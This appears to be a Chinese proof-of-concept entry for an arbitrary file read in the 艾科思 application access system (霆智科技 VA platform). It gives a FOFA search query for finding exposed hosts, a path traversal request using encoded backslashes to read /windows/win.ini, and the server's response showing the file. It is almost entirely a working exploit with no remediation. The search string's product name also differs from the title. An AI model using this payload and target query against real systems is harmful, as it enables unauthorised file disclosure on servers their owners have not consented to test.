A10-1艾科思-应用接入系统-任意文件读取

漏洞描述：

艾科思应用接入系统(霆智科技的VA虚拟应用平台)是一个创新的技术平台，旨在为用户提供虚拟助手（Virtual Assistant）的功能和服务。 虚拟助手是一种人工智能系统，通过自然语言处理、机器学习和其他相关技术，能够与用户进行对话，并执行各种任务和服务。该系统存在任意文件读取漏洞。

网站图片：

网络测绘：

fofa语法：

FOFA语法：body="EAA益和应用接入系统"

漏洞复现：

payload：

```
GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1
Host: ip:port
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate Connection: keep-alive
```

漏洞连接

```
http://ip:port/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
```

效果图:

Request

数据包扫描 热加载 构造请求

```
GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate Connection: keep-alive
```

Responses 477bytes / 48ms

美化 详情

```
HTTP/1.1 200 OK
Connection: close
Content-Type: application/octet-stream; charset=utf-8
[redacted]
P3P: CP=CAO PSA OUR
Content-Disposition:attachment;filename=win.ini
Last-Modified: Wed, 25 Sep 2013 14:01:25 GMT
Server: VA Web Server
Set-Cookie: IDHTTPSE[redacted]n3; Path=/
Content-Length: 477

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
aif=MPEGVideo
aifc=MPEGVideo
aiff=MPEGVideo
asf=MPEGVideo
asx=MPEGVideo
au=MPEGVideo
m1v=MPEGVideo
```